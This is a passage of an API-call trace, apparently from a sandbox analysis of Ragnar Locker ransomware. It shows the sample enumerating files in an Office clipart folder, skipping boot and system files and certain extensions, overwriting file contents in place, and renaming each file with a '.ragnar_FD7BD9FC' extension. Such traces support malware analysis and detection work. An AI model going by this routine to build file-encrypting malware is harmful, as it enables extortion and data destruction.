(lpString1="RECYCLE.WMF", lpString2="bootfont.bin") returned 1 [0090.497] lstrcmpiW (lpString1="RECYCLE.WMF", lpString2="bootsect.bak") returned 1 [0090.497] lstrcmpiW (lpString1="RECYCLE.WMF", lpString2="bootmgr") returned 1 [0090.497] lstrcmpiW (lpString1="RECYCLE.WMF", lpString2="bootmgr.efi") returned 1 [0090.497] lstrcmpiW (lpString1="RECYCLE.WMF", lpString2="bootmgfw.efi") returned 1 [0090.497] lstrcmpiW (lpString1="RECYCLE.WMF", lpString2="desktop.ini") returned 1 [0090.497] lstrcmpiW (lpString1="RECYCLE.WMF", lpString2="iconcache.db") returned 1 [0090.497] lstrcmpiW (lpString1="RECYCLE.WMF", lpString2="ntldr") returned 1 [0090.497] lstrcmpiW (lpString1="RECYCLE.WMF", lpString2="ntuser.dat") returned 1 [0090.497] lstrcmpiW (lpString1="RECYCLE.WMF", lpString2="ntuser.dat.log") returned 1 [0090.497] lstrcmpiW (lpString1="RECYCLE.WMF", lpString2="ntuser.ini") returned 1 [0090.497] lstrcmpiW (lpString1="RECYCLE.WMF", lpString2="thumbs.db") returned -1 [0090.497] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.497] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.497] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.497] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.497] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.497] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.497] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.497] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\recycle.wmf")) returned 0x20 [0090.498] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\recycle.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.498] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3350) returned 1 [0090.498] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd0d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.498] GetProcessHeap () returned 0x580000 [0090.498] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.498] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.500] VirtualAlloc (lpAddress=0x0, dwSize=0xd16, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.500] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.500] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.500] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd16, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xd16, lpOverlapped=0x0) returned 1 [0090.500] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.500] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd16, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.500] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd16, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xd16, lpOverlapped=0x0) returned 1 [0090.500] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd16, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.500] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.500] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd16, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.500] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.501] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.501] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.501] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.501] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.501] GetProcessHeap () returned 0x580000 [0090.501] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.501] CloseHandle (hObject=0xf4) returned 1 [0090.501] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF" [0090.501] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF.ragnar_FD7BD9FC" [0090.501] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\recycle.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\recycle.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.502] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81aec580, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81aec580, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0090.502] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.502] lstrcpyW (in: lpString1=0x1eb62e, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0090.502] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RGNR_FD7BD9FC.txt") returned=".txt" [0090.502] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0090.502] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x175f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ROAD_01.MID", cAlternateFileName="")) returned 1 [0090.502] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.502] lstrcpyW (in: lpString1=0x1eb62e, lpString2="ROAD_01.MID" | out: lpString1="ROAD_01.MID") returned="ROAD_01.MID" [0090.502] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned=".MID" [0090.502] lstrcmpiW (lpString1="ROAD_01.MID", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.502] lstrcmpiW (lpString1="ROAD_01.MID", lpString2="autorun.inf") returned 1 [0090.502] lstrcmpiW (lpString1="ROAD_01.MID", lpString2="boot.ini") returned 1 [0090.502] lstrcmpiW (lpString1="ROAD_01.MID", lpString2="bootfont.bin") returned 1 [0090.502] lstrcmpiW (lpString1="ROAD_01.MID", lpString2="bootsect.bak") returned 1 [0090.502] lstrcmpiW (lpString1="ROAD_01.MID", lpString2="bootmgr") returned 1 [0090.502] lstrcmpiW (lpString1="ROAD_01.MID", lpString2="bootmgr.efi") returned 1 [0090.502] lstrcmpiW (lpString1="ROAD_01.MID", lpString2="bootmgfw.efi") returned 1 [0090.502] lstrcmpiW (lpString1="ROAD_01.MID", lpString2="desktop.ini") returned 1 [0090.502] lstrcmpiW (lpString1="ROAD_01.MID", lpString2="iconcache.db") returned 1 [0090.502] lstrcmpiW (lpString1="ROAD_01.MID", lpString2="ntldr") returned 1 [0090.502] lstrcmpiW (lpString1="ROAD_01.MID", lpString2="ntuser.dat") returned 1 [0090.502] lstrcmpiW (lpString1="ROAD_01.MID", lpString2="ntuser.dat.log") returned 1 [0090.502] lstrcmpiW (lpString1="ROAD_01.MID", lpString2="ntuser.ini") returned 1 [0090.502] lstrcmpiW (lpString1="ROAD_01.MID", lpString2="thumbs.db") returned -1 [0090.502] lstrcmpiW (lpString1=".MID", lpString2=".db") returned 1 [0090.502] lstrcmpiW (lpString1=".MID", lpString2=".sys") returned -1 [0090.502] lstrcmpiW (lpString1=".MID", lpString2=".dll") returned 1 [0090.503] lstrcmpiW (lpString1=".MID", lpString2=".lnk") returned 1 [0090.503] lstrcmpiW (lpString1=".MID", lpString2=".msi") returned -1 [0090.503] lstrcmpiW (lpString1=".MID", lpString2=".drv") returned 1 [0090.503] lstrcmpiW (lpString1=".MID", lpString2=".exe") returned 1 [0090.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid")) returned 0x20 [0090.503] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.503] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5983) returned 1 [0090.503] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1756, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.503] GetProcessHeap () returned 0x580000 [0090.503] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.503] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.505] VirtualAlloc (lpAddress=0x0, dwSize=0x175f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.505] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.505] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.505] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x175f, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x175f, lpOverlapped=0x0) returned 1 [0090.506] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.506] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x175f, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.506] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x175f, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x175f, lpOverlapped=0x0) returned 1 [0090.506] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x175f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.506] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.506] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x175f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.506] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.506] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.506] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.506] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.507] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.507] GetProcessHeap () returned 0x580000 [0090.507] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.507] CloseHandle (hObject=0xf4) returned 1 [0090.507] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" [0090.507] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.ragnar_FD7BD9FC" [0090.507] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.507] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x278a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAFRI_01.MID", cAlternateFileName="")) returned 1 [0090.507] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.508] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SAFRI_01.MID" | out: lpString1="SAFRI_01.MID") returned="SAFRI_01.MID" [0090.508] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned=".MID" [0090.508] lstrcmpiW (lpString1="SAFRI_01.MID", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.508] lstrcmpiW (lpString1="SAFRI_01.MID", lpString2="autorun.inf") returned 1 [0090.508] lstrcmpiW (lpString1="SAFRI_01.MID", lpString2="boot.ini") returned 1 [0090.508] lstrcmpiW (lpString1="SAFRI_01.MID", lpString2="bootfont.bin") returned 1 [0090.508] lstrcmpiW (lpString1="SAFRI_01.MID", lpString2="bootsect.bak") returned 1 [0090.508] lstrcmpiW (lpString1="SAFRI_01.MID", lpString2="bootmgr") returned 1 [0090.508] lstrcmpiW (lpString1="SAFRI_01.MID", lpString2="bootmgr.efi") returned 1 [0090.508] lstrcmpiW (lpString1="SAFRI_01.MID", lpString2="bootmgfw.efi") returned 1 [0090.508] lstrcmpiW (lpString1="SAFRI_01.MID", lpString2="desktop.ini") returned 1 [0090.508] lstrcmpiW (lpString1="SAFRI_01.MID", lpString2="iconcache.db") returned 1 [0090.508] lstrcmpiW (lpString1="SAFRI_01.MID", lpString2="ntldr") returned 1 [0090.508] lstrcmpiW (lpString1="SAFRI_01.MID", lpString2="ntuser.dat") returned 1 [0090.508] lstrcmpiW (lpString1="SAFRI_01.MID", lpString2="ntuser.dat.log") returned 1 [0090.508] lstrcmpiW (lpString1="SAFRI_01.MID", lpString2="ntuser.ini") returned 1 [0090.508] lstrcmpiW (lpString1="SAFRI_01.MID", lpString2="thumbs.db") returned -1 [0090.508] lstrcmpiW (lpString1=".MID", lpString2=".db") returned 1 [0090.508] lstrcmpiW (lpString1=".MID", lpString2=".sys") returned -1 [0090.508] lstrcmpiW (lpString1=".MID", lpString2=".dll") returned 1 [0090.508] lstrcmpiW (lpString1=".MID", lpString2=".lnk") returned 1 [0090.508] lstrcmpiW (lpString1=".MID", lpString2=".msi") returned -1 [0090.508] lstrcmpiW (lpString1=".MID", lpString2=".drv") returned 1 [0090.508] lstrcmpiW (lpString1=".MID", lpString2=".exe") returned 1 [0090.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid")) returned 0x20 [0090.509] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.509] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10122) returned 1 [0090.509] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2781, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.509] GetProcessHeap () returned 0x580000 [0090.510] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.510] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.511] VirtualAlloc (lpAddress=0x0, dwSize=0x278a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.511] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.511] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.511] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x278a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x278a, lpOverlapped=0x0) returned 1 [0090.513] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.514] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x278a, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.514] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x278a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x278a, lpOverlapped=0x0) returned 1 [0090.514] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x278a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.514] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.514] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x278a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.514] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.514] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.514] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.514] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.514] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.514] GetProcessHeap () returned 0x580000 [0090.514] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.514] CloseHandle (hObject=0xf4) returned 1 [0090.515] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" [0090.515] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.ragnar_FD7BD9FC" [0090.515] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.515] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5a9342d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x13c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHOL_02.MID", cAlternateFileName="")) returned 1 [0090.515] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.515] lstrcpyW (in: lpString1=0x1eb62e, 